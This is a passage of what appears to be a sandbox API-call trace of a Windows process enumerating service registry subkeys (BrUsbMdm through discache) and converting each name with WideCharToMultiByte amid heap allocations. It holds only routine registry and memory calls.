BaseAddress=0x1de5d90) returned 1 [0251.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0251.108] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1de4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1de4768, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1de4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1de4768, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0251.109] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0251.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0251.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0251.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0251.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x1de4450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0251.110] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0251.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1de4450, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0251.111] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1de4450, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0251.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0251.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0251.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0251.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0251.112] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0251.112] RegEnumKeyW (in: hKey=0x154, 